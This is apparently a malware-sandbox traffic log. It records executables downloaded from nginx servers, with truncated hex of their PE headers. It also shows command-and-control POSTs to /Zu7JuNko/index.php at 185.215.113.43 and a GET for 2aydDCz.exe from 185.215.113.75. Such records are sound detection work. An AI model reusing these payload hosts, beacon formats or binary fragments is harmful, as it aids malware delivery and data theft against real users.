00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 ae 18 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 05 00 6b 00 00 00 00 90 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 29 00 00 b0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 79 69 64 6d 6f 76 75 00 60 19 00 00 50 2f 00 00 5e 19 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 66 63 61 71 79 78 70 00 10 00 00 00 b0 48 00 00 04 00 00 00 f4 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 48 00 00 22 00 00 00 f8 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:37 GMTContent-Type: application/octet-streamContent-Length: 371200Last-Modified: Wed, 12 Feb 2025 15:50:02 GMTConnection: keep-aliveETag: "67acc32a-5aa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d2 20 05 cf 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 30 00 00 8e 00 00 00 08 00 00 00 00 00 00 0e ad 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 ac 00 00 4b 00 00 00 00 c0 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 7d ac 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 8d 00 00 00 20 00 00 00 8e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 98 05 00 00 00 c0 00 00 00 06 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 43 4f 44 45 00 00 00 00 10 05 00 00 00 01 00 00 10 05 00 00 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:41 GMTContent-Type: application/octet-streamContent-Length: 5128192Last-Modified: Wed, 12 Feb 2025 16:00:18 GMTConnection: keep-aliveETag: "67acc592-4e4000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 00 00 00 00 00 3e 4e 00 00 00 00 00 e0 00 02 03 0b 01 03 00 00 2c 24 00 00 5c 03 00 00 00 00 00 60 45 06 00 00 10 00 00 00 40 49 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 50 53 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 51 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 51 00 9a b5 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 4a 49 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 45 2a 24 00 00 10 00 00 00 2c 24 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 dc f6 24 00 00 40 24 00 00 f8 24 00 00 30 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c1 2d 08 00 00 40 49 00 00 5c 03 00 00 28 49 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 dc 03 00 00 00 70 51 00 00 04 00 00 00 84 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9a b5 01 00 00 80 51 00 00 b6 01 00 00 88 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 40 53 00 00 02 00 00 00 3e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:49 GMTContent-Type: application/octet-streamContent-Length: 1596928Last-Modified: Wed, 12 Feb 2025 16:32:17 GMTConnection: keep-aliveETag: "67accd11-185e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 46 cc ac 67 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 29 00 60 18 00 00 10 00 00 00 d0 2c 00 60 29 45 00 00 e0 2c 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 50 45 00 00 02 00 00 00 00 00 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 45 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 10 3f 00 b0 72 01 00 00 00 00 00 00 00 00 00 e0 44 45 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 35 45 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 d0 2c 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 60 18 00 00 e0 2c 00 00 56 18 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 40 45 00 00 06 00 00 00 58 18 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 34 2e 32 32 00 55 50 58 21 0d 24 0e 0a 19 f3 4d 89 b7 f4 b2 81 b0 00 45 00 35 49 18 00 00 6a 44 00 49 50 00 03 1a 03 00 61 99 ac 5c 0f 0f 22 f8 19 f8 2c 4a 3d 48 dc f9 94 61 6a 14 c1 be 86 03 dc 6a 67 5f 37 a3 ab 6e f8 cc e0 b6 47 a3 cf 6a 89 6f e2 2a b6 c6 7f 33 8e 07 67 73 61 1d 30 ff 7f e2 51 da 4b 65 95 3b 79 7d 6d a2 57 6e b2 c9 e6 e9 40 97 7f 2f cb 6d af 8f e4 2d 62 5b 48 70 85 c9 f3 1e 11 66 51 d4 26 71 0a 57 63 5e df e4 13 a7 66 bb c1 78 6c fa 41 d1 49 fb fd e1 b8 be da db 89 7c d3 6b 15 36 c9 3c 25 05 50 5c 9c 07 6e 96 de 9e 0b 41 b0 96 2f 91 e5 f5 e9 40 73 a9 28 c2 79 8e 1f 67 fd 6a 2c 73 b4 ee ff 96 88 37 04 55 0b c4 aa 26 ec 9e 86 cb ea 49 8f 86 ea 90 29 66 bd cf c2 d8 72 ef 09 d5 49 2b d3 d3 94 f1 9e ca bc 45 c7 f3 2b 34 40 49 90 ae d6 2b 1c 15 40 f8 2a 0a ca 4f f6 11 8b 43 12 4c ed 4e 18 08 ff 36 11 c5 73 87 83 ee 33 a5 97 73 56 88 75 ad 86 02 12 ca d0 98 ec 5a fb f8 f8 20 ea be 54 7b 57 1e 27 c2 01 05 71 59 f2 05 25 31 29 80 c6 07 da 1f 37 3b a9 8d f3 57 d4 af 7e b5 2b f4 33 69 ad 06 d7 a0 ad 88 b3 9f 54 7c 7f d3 ae c0 85 d1 d1 79 d7 48 a8 fe 88 31 c3 ce 0a f7 d2 09 1a 07 55 77 ee 3f 85 02 6f ab 95 3b e9 9e af 89 9f 84 fe 68 86 61 03 40 83 be 70 3a 35 43
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:49:54 GMTContent-Type: application/octet-streamContent-Length: 10174464Last-Modified: Wed, 12 Feb 2025 16:30:11 GMTConnection: keep-aliveETag: "67accc93-9b4000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 9b 4b 72 c2 fa 25 21 c2 fa 25 21 c2 fa 25 21 26 8a 20 20 c3 fa 25 21 26 8a 26 20 c1 fa 25 21 26 8a 21 20 d1 fa 25 21 26 8a 24 20 d3 fa 25 21 c2 fa 24 21 62 fa 25 21 26 8a 2d 20 c8 fa 25 21 26 8a da 21 c3 fa 25 21 26 8a 27 20 c3 fa 25 21 52 69 63 68 c2 fa 25 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 b4 79 8c e2 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1a 00 80 00 00 00 b0 9a 00 00 00 00 00 60 84 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 10 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 50 9b 00 00 10 00 00 b6 a4 9b 00 02 00 60 c1 00 00 08 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 a2 00 00 b4 00 00 00 00 f0 00 00 84 45 9a 00 00 e0 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 40 9b 00 2c 00 00 00 68 9a 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 90 00 00 38 01 00 00 00 00 00 00 00 00 00 00 48 91 00 00 20 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 7e 00 00 00 10 00 00 00 80 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 40 23 00 00 00 90 00 00 00 30 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 1f 00 00 00 c0 00 00 00 10 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 2c 04 00 00 00 e0 00 00 00 10 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 50 9a 00 00 f0 00 00 00 50 9a 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 40 9b 00 00 10 00 00 00 30 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:50:04 GMTContent-Type: application/octet-streamContent-Length: 961024Last-Modified: Wed, 12 Feb 2025 20:44:59 GMTConnection: keep-aliveETag: "67ad084b-eaa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 08 ad 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 fa 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 0f 00 00 04 00 00 e9 85 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 4c 3e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 4c 3e 01 00 00 40 0d 00 00 40 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 80 0e 00 00 76 00 00 00 34 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 12 Feb 2025 20:50:16 GMTContent-Type: application/octet-streamContent-Length: 1970688Last-Modified: Wed, 12 Feb 2025 20:46:57 GMTConnection: keep-aliveETag: "67ad08c1-1e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4e 00 00 04 00 00 61 e2 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 e1 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e1 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 30 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 79 70 6b 6f 7a 6f 67 00 00 1b 00 00 f0 32 00 00 f6 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 73 73 74 64 6a 66 68 00 10 00 00 00 f0 4d 00 00 04 00 00 00 ec 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4e 00 00 22 00 00 00 f0 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 46 37 30 42 32 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02F70B25882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /files/7127524582/2aydDCz.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 30 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076065001&unit=246122658369
